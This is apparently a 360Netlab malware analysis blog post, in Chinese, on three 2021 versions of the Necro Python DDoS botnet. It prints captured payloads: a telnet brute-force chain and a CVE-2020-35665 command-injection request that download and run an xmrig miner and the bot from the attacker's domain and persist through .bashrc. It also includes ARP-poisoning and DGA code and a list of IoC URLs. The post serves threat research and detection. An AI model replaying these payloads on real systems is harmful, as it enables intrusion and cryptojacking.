# Necro在频繁升级,新版本开始使用PyInstaller和DGA **[blog.netlab.360.com/not-really-new-pyhton-ddos-bot-n3cr0m0rph-necromorph/](https://blog.netlab.360.com/not-really-new-pyhton-ddos-bot-n3cr0m0rph-necromorph/)** jinye January 21, 2021 #### 21 January 2021 / DGA ## 概述 #### Necro是一个经典的Python编写的botnet家族,最早发现于2015年,早期针对Windows系统, 常被报为Python.IRCBot,作者自己则称之为N3Cr0m0rPh(Necromorph)。自2021年1月1号 起,360Netlab的BotMon系统持续检测到该家族的新变种,先后有3个版本的样本被检测到, 它们均针对Linux系统,并且最新的版本使用了DGA技术来生成C2域名对抗检测。本文将对最 近发现的Necro botnets做一分析。 本文的关键点如下: 1,Necro最新版的感染规模在万级,并且处于上升趋势。 2,在传播方式上,Necro支持多种方式,并且持续集成新公开的1-day漏洞,攻击能力较强。 3,最新版Necro使用了DGA技术生成C2域名,Python脚本也经过重度混淆以对抗静态分析。 4,目前传播的不同版本Necro botnet背后为同一伙人,并且主要针对Linux设备。 5,最新的2个版本为了确保能在没有Python2的受害机器上执行,会同时分发使用PyInstaller 打包过的Python程序。 在撰写本文时,我们注意到先后有2家安全厂商报道了Necro botnet及其团伙 [PythonCryptoMinter][FreakOut],但他们描述的均是已经停止传播的第2个版本,本文将描述 更多的关于Necro的内容。 ## 捕获 #### Necro支持多种传播方式,其中2种被我们的Anglerfish蜜罐系统成功捕获到:一种是传统的 telnet弱口令爆破,另一种是1-day 漏洞(CVE-2020-35665)。捕获记录如下: 下面是实际捕获到的利用telnet弱口令传播第3版时的payload: ----- ``` root password enable system shell sh echo -e '\x41\x4b\x34\x37' wget http://aspjobjreorejborer.com/mirai.armexport ARGS="-o aveixucyimxwcmph.xyz:9050";LINE="killall -9 .sshd||pkill -9 .sshd_;[ ! -f /tmp/.pidfile ] && echo > /tmp/.pidfile;nohup .sshd $ARGS > /dev/null||nohup .sshd_ $ARGS > /dev/null &";grep -q "$LINE" ~/.bashrc||echo "$LINE" >> ~/.bashrc;curl http://aveixucyimxwcmph.xyz/xmrig1 -O||wget http://aveixucyimxwcmph.xyz/xmrig1 -O .sshd_;mv -f .sshd_ .sshd_;chmod 777 .sshd_;curl http://aveixucyimxwcmph.xyz/xmrig -O xmrig||wget http://aveixucyimxwcmph.xyz/xmrig -O xmrig;mv -f xmrig .sshd;chmod 777 .sshd;chmod +x ~/.bashrc;~/.bashrc;cd /tmp||php -r "file_put_contents(".benchmark", file_get_contents("http://aveixucyimxwcmph.xyz/.benchmark"));";curl http://aveixucyimxwcmph.xyz/.benchmark -O;curl http://aveixucyimxwcmph.xyz/.benchmark.py -O;php -r "file_put_contents(".benchmark.py", file_get_contents("http://aveixucyimxwcmph.xyz/.benchmark.py"));";wget http://aveixucyimxwcmph.xyz/.benchmark -O .benchmark;wget http://aveixucyimxwcmph.xyz/.benchmark.py -O .benchmark.py;chmod 777 .benchmark.py;chmod 777 .benchmark;python .benchmark.py||python2 .benchmark.py||python2.7 .benchmark.py||./.benchmark||./.benchmark.py & #### 下面是实际捕获到的利用 1-day漏洞CVE-2020-35665传播第3版时的payload: GET /include/makecvs.php?Event=`export ARGS="-o aveixucyimxwcmph.xyz:9050" LINE="killall -9 .sshd||pkill -9 .sshd_ [ ! -f /tmp/.pidfile ] && echo > /tmp/.pidfile nohup .sshd $ARGS > /dev/null||nohup .sshd_ $ARGS > /dev/null &" grep -q "$LINE" ~/.bashrc||echo "$LINE" >> ~/.bashrc curl http://aveixucyimxwcmph.xyz/xmrig1 -O||wget http://aveixucyimxwcmph.xyz/xmrig1 O .sshd_ mv -f .sshd_ .sshd_ chmod 777 .sshd_ curl http://aveixucyimxwcmph.xyz/xmrig -O xmrig||wget http://aveixucyimxwcmph.xyz/xmrig -O xmrig mv -f xmrig .sshd chmod 777 .sshd chmod +x ~/.bashrc ~/.bashrc cd /tmp||php -r "file_put_contents(\".benchmark\", file_get_contents(\"http://aveixucyimxwcmph.xyz/.benchmark\"));" curl http://aveixucyimxwcmph.xyz/.benchmark -O curl http://aveixucyimxwcmph.xyz/.benchmark.py -O php -r "file_put_contents(\".benchmark.py\", file_get_contents(\"http://aveixucyimxwcmph.xyz/.benchmark.py\"));" wget http://aveixucyimxwcmph.xyz/.benchmark -O .benchmark wget http://aveixucyimxwcmph.xyz/.benchmark.py -O .benchmark.py ``` ----- #### 从上面的payload可以看到exp除了下载并执行原始的Python脚本(.benchmark.py),还会尝 试下载并执行PyInstaller打包后的ELF文件(.benchmark),这是作者自第2版开始引入的手 法,目的是为了提高执行成功率。因为Python 2已经到达EOL(end-of-life),有些受害者机器上 缺乏这个运行环境,而使用Pyinstaller打包后的Python程序将成为独立的ELF,即使目标机器 上没有Python环境也可以正常执行。 值得说明的是漏洞CVE-2020-35665公开于2020年12月23日,距离我们首次捕获它的利用只 有8天,可见作者对新漏洞的使用非常“积极”。 另外,除了Necro样本,上面的exp还会下载挖矿程序xmrig和xmrig1,利用360netlab其它维度 的数据,我们发现同样的download server还曾用于mirai和一些Windows恶意exe程序的下 载,说明Necro的作者同时在运营多个家族的botnet: ## 感染规模 #### 根据360netlab的DNSMon数据我们对第2和第3版的2个C2域名解析情况做了统计,以此来评 估感染规模。根据下面的2个统计,我们能看到这两域名的unique客户端数均为2位数,考虑到 数据采集位置的区别,真实的流量大概是我们统计的500~700倍,所以它们实际的规模均应 该在万级。 下面是第2版C2域名的解析统计,能看到这个域名已经过了稳定期,处于下降状态。 ----- #### 下面是第3版域名的解析统计,能看到解析量在上升,说明这个版本还处于发展阶段。 ## 样本分析 #### 通过分析,我们发现2021年捕获的Necro样本可以分为3个版本,每个版本之间在传播方式、 代码混淆和C2保存方面均有明显的区别,其中第1版 (necr0.py)到第2版(out.py)主要是 代码结构上的调整,混淆度有所增加。同时第2版开始采用PyInstaller方式把Python程序打包 ----- #### 成ELF。从第2版到第3版差别有所加大,不但代码混淆度显著增加,C2也从硬编码域名变成 了使用DGA算法。此外,在传播方式上第3版也增加了一些n-day漏洞。 第1版 因为第1版被作者命名为necro.py,所以我们把该家族命名为Necro。在代码混淆上,第1版只 是部分代码做了混淆处理: 它的C2信息只是简单编码保存,经过若干次逆向解码可以容易的得到: ``` irc server: '45.145.185.229' channel: '#necro' key: 'm0rph' 原始样本中可以发现可读的DDoS攻击相关的命令串: ``` ----- #### 从这些命令串可以看出Necro是一个用于DDoS攻击的botnet,C2协议基于IRC,支持的攻击方 式既包括常见的udpflood、synflood、slowloris、httpflood这些,也包括在botnet中不常见的 amp反射攻击。 第2版 第2版(out.py)和第1版的混淆程度相当,但在漏洞利用上有变化,加入了Zend Framework (known as CVE-2021-3007): 值得说明的是该漏洞2021年1月4日才曝光,这再次说明Necro的作者在利用新漏洞方面非 常“积极”。 在C2存放方面,第2版同样使用了简单编码保存: ``` irc server: 'gxbrowser.net' channel: '#update' key: 'N3Wm3W' ``` ----- #### 第3版 第3版的被检测到用benchmark.py名称传播。相比前两个版本,第3版最大的变化是使用DGA 来生成C2域名,具体算法参考后面的DGA代码,下面是模拟该算法产生的部分域名: ``` avEiXUcYimXwcMph.xyz avEiXUcYimXwcMph.xyz avEiXUcYimXwcMph.xyz aoRmVwOaTOGgYqbk.xyz aoRmVwOaTOGgYqbk.xyz aoRmVwOaTOGgYqbk.xyz MasEdcNVYwedJwVd.xyz MasEdcNVYwedJwVd.xyz MasEdcNVYwedJwVd.xyz suBYdZaoqwveKRlQ.xyz ... 通过360netlab的DNSMon系统,我们看到该DGA算法产生的第1个域名 aveixucyimxwcmph.xyz已经启用,并且被用作下载服务器的域名。下面是该域名的详细信 息: 2021-01-11 11:49:28 2021-01-20 03:47:28 372 aveixucyimxwcmph.xyz A 193.239.147.224 2021-01-11 20:11:02 2021-01-11 20:11:03 2 aveixucyimxwcmph.xyz TXT "v=spf1 include:spf.efwd.registrar-servers.com ~all" 2021-01-11 20:11:01 2021-01-11 20:11:03 3 aveixucyimxwcmph.xyz MX eforward4.registrar-servers.com 2021-01-11 20:11:01 2021-01-11 20:11:03 3 aveixucyimxwcmph.xyz MX eforward5.registrar-servers.com 2021-01-11 20:11:01 2021-01-11 20:11:03 3 aveixucyimxwcmph.xyz MX eforward2.registrar-servers.com 2021-01-11 20:11:01 2021-01-11 20:11:03 3 aveixucyimxwcmph.xyz MX eforward1.registrar-servers.com 2021-01-11 20:11:01 2021-01-11 20:11:03 3 aveixucyimxwcmph.xyz MX eforward3.registrar-servers.com 2021年1月20号,在最新的第3版样本中作者又对DGA算法做了修改,将种子从3种修改为 4096种,同时开始使用SSL加密通信数据。 第3版的另一个变化是代码混淆的更严重了,不仅所有自定义对象全部被替换成随机字符,连 字符串也被用base64.encode(zlib.compress(plain_string))这种方式做了编码,导致样本中不 再有可读的、有意义的字符串,如下图所示: ``` ----- #### 在传播方式上,第3版增加了更多的漏洞利用,这一点可以从解码后的字符串看出来: 在支持的DDoS攻击方法方面第3版没有变化,只是命令串被做了编码处理,解码后的DDoS命 令串如下: ----- ### 样本溯源 #### 通过第1版样本的版本信息我们可以看到Necro早在2015年就已开发,作者称之为 N3Cr0m0rPh (Necromorph)。 利用这些信息,我们从样本库里关联到一批针对 Windows平台的早期Necro样本,都是exe文 件,这批样本刚好也可以追溯到2015年,跟第1版中的版本信息吻合。从这些线索可以推断 Necro首先针对的是Windows平台,然后也许是Python程序天然的跨平台特性,抑或现网大量 存在漏洞的Linux机器(IoT设备、云服务器等),启发Necro作者用去攻击Linux设备。无论如 何,现在Linux malware大军中又多了新的一员:Necro。 ## 其它 ----- #### 因为部分Necro样本以PyInstaller打包方式分发,下面简单介绍如何通过解包、反编译、解混 淆等手段还原出可读的.py脚本。 解包 以第3版为例,用开源工具pyinstxtractor解包从ELF样本中提取的pydata数据后可以得到原始 python脚本依赖的.so动态库、python库以及字节码文件.benchmark.pyc。 反编译pyc 利用uncompyle6反编译 .pyc字节码可以得到最终的python脚本。通过对比来自同一 downloader的python脚本 .benchmark.py ,发现其跟反编译出的.py脚本相同,所以断 定 .benchmark.py 就是打包前的原始脚本。 字符串解密 Necro使用简单的“zip压缩+异或加密”方法隐藏字符串, 下面这段代码示范了解码过程:先解压 再异或即可得到被隐藏的字符串 '8.8.8.8' : ----- ``` xor_crypt(zlib.decompress(b \x78\x9c\xab\xac\x8d\x72\xf7\xca\x96\x06\x00\x0a\xf1\x02\x def xor_crypt(s): xor_key = [65, 83, 98, 105, 114, 69, 35, 64, 115, 103, 71, 103, 98, 52] return ('').join([ chr(ord(c) ^ xor_key[(i % len(xor_key))]) for i, c in enumerate(s) ]) #### 动态变形 python脚本启动后会先调用 repack() 函数对当前的文件进行变形,变形的算法是依次从 obj_name_list表(表中保存了文件中自定义的对象名称)中取出一个对象名称(可能是类,变 量名,函数名),然后产生一个8位的随机字串,用这个8位的随机字串替换文件中对应的对象 名称,结果就是原始文件中再也找不到可读的对象名称了。因为这种做法是不可逆的,我们只 能从代码功能上推测每个函数和变量的含义,参考早期版本的代码,我们基本搞楚了代码的功 能。 def __init__(self): ... self.repack() #repack bot before we install self.install() #Install def repack(self): try: fh_myself=open(argv[0],"r") _pyload=fh_myself.read() fh_myself.close() obj_name_list=['localhost_irc','gen_random_8char'....] for obj_name in obj_name_list: _pyload=_pyload.replace(obj_name,self.gen_random_8char(8)) new_fh_myself=open(argv[0],"w") new_fh_myself.write(_pyload) new_fh_myself.close() except: pass ARP欺骗和流量嗅探 比较有意思的Necro还支持ARP投毒和网络流量嗅探。ARP欺骗是为了把受害者机器伪装成网 关,代码如下所示。 ``` ----- ``` def create_pkt_arp_poison(): s = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.SOCK_RAW) s.bind(("wlan0", 0)) while(1): for lmfao in getPoisonIPs(): src_addr = get_src_mac() dst_addr = lmfao[0] src_ip_addr = get_default_gateway_linux() dst_ip_addr = lmfao[1] dst_mac_addr = "\x00\x00\x00\x00\x00\x00" payload = "\x00\x01\x08\x00\x06\x04\x00\x02" checksum = "\x00\x00\x00\x00" ethertype = "\x08\x06" s.send(dst_addr + src_addr + ethertype + payload+src_addr + src_ip_addr + dst_mac_addr + dst_ip_addr + checksum) time.sleep(2) #### 这段buggy代码会在一个单独的线程种执行,每隔2秒读取一遍/proc/net/arp以获取最新的ARP 邻居,然后冒充网关给它们发送ARP回应,目的是使对方相信所运行的机器就是网关。作者这 么做可能是为了实现中间人劫持,但目前还没看到更多的中间人通信相关代码,猜测该功能尚 处于开发中。 嗅探主要针对受害者机器的TCP通信流量,该功能受C2指令( .sniffer-resume )控制。 一旦开启,所有非以下端口的TCP流量都会被记录并上报给C2的1337端口:“1337, 6667, 23, 443, 37215, 53, 22”。 C2基础设施 从第3版的C2域名aveixucyimxwcmph.xyz出发,我们通过图系统成功的把3个版本的C2都关联 起来,如下图所示: ``` ----- #### 其中,第2版的C2域名gxbrowser.net也曾解析到过第1版的C2 45.145.185.229上,而第3版的 C2域名aveixucyimxwcmph.xyz所解析的IP 193.239.147.224曾经也被gxbrowser.net使用过, 这些说明目前的3个版本Necro botnet背后的作者应该是同一伙人。 值得说明的是所有的Necro相关域名都已被360netlab的DNSmon系统拦截。 ## 结论 #### Necro是一个相对较老的Python恶意程序,但作者通过采用代码混淆、PyInstaller打包、集成 DGA和新漏洞等方式使其摇身一变成为一款危害较大的针对Linux设备的新botnet,可谓“老树 新春”。考虑到作者在不到一个月的时间内接连推出了3个版本,我们相信该家族目前处于持续 活跃期中,相信后面还会不断发起新的攻击。360BotMon系统将持续对该家族保持关注,并会 即使公布新的威胁信息。 如果需要帮助,欢迎通过netlab@360.cn联系我们。 ## 版权声明 #### 本文为Netlab Jinye原创,依据 CC BY-SA 4.0 许可证进行授权,转载请附上出处链接及本声 明。 ## IoC #### C2 ----- ``` 45.145.185.83 193.239.147.224 gxbrowser.net aveixucyimxwcmph.xyz #### Download URL # 第1版 http://45.145.185.229/necr0.py # 第2版 http://gxbrowser.net/out http://gxbrowser.net/out.py # 第3版 http://aveixucyimxwcmph.xyz/.benchmark http://aveixucyimxwcmph.xyz/.benchmark.py ``` `#` 其它样本 ``` http://gxbrowser.net/xmrig http://gxbrowser.net/xmrig1 http://aveixucyimxwcmph.xyz/xmrig1 http://45.145.185.229/bins/nginx.html/keksec.x86 http://45.145.185.229/bins/nginx.html/keksec.spc http://45.145.185.229/bins/nginx.html/keksec.sh4 http://45.145.185.229/bins/nginx.html/keksec.ppc http://45.145.185.229/bins/nginx.html/keksec.mpsl http://45.145.185.229/bins/nginx.html/keksec.mips http://45.145.185.229/bins/nginx.html/keksec.m68k http://45.145.185.229/bins/nginx.html/keksec.i586 http://45.145.185.229/bins/nginx.html/keksec.arm http://45.145.185.229/bins/nginx.html/keksec.arm7 http://45.145.185.229/bins/nginx.html/keksec.arm5 http://45.145.185.229/bins/keksec.x88_64 http://45.145.185.229/bins/keksec.x86 http://45.145.185.229/bins/keksec.x64 http://45.145.185.229/bins/keksec.spc http://45.145.185.229/bins/keksec.sh4 http://45.145.185.229/bins/keksec.ppc http://45.145.185.229/bins/keksec.mpsl http://45.145.185.229/bins/keksec.mips http://45.145.185.229/bins/keksec.mips64 http://45.145.185.229/bins/keksec.m68k http://45.145.185.229/bins/keksec.i586 http://45.145.185.229/bins/keksec.arm http://45.145.185.229/bins/keksec.arm7 http://45.145.185.229/bins/keksec.arm5 http://45.145.185.229/update.sh ## DGA 算法 ``` ----- ``` import random def gen_random_str(_range): return ('').join(random.choice('abcdefghijklmnopqoasadihcouvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ') for _ in range(_range)) def gen_cc(time): random.seed(a=5236442 + time) return gen_random_str(16) + '.xyz' def gen_DGA(): i = 0 while 1: for _ in range(3): try: print(gen_cc(i)) except: pass if i >= 2048: i = 0 i += 1 gen_DGA() ## C2解密算法 self.irc_server=b64decode(b64decode("3465343735353330346534343535333134653761353533303 #Encoded irc server self.server_port=6667 #Server port self.channel=b64decode(b64decode("3465343436623761346436613464333134653664346433313466 #Encoded channel self.channel_key==b64decode(b64decode("34653661343933313465343435313739346537613662333 #Encoded channel key 引用 ``` -----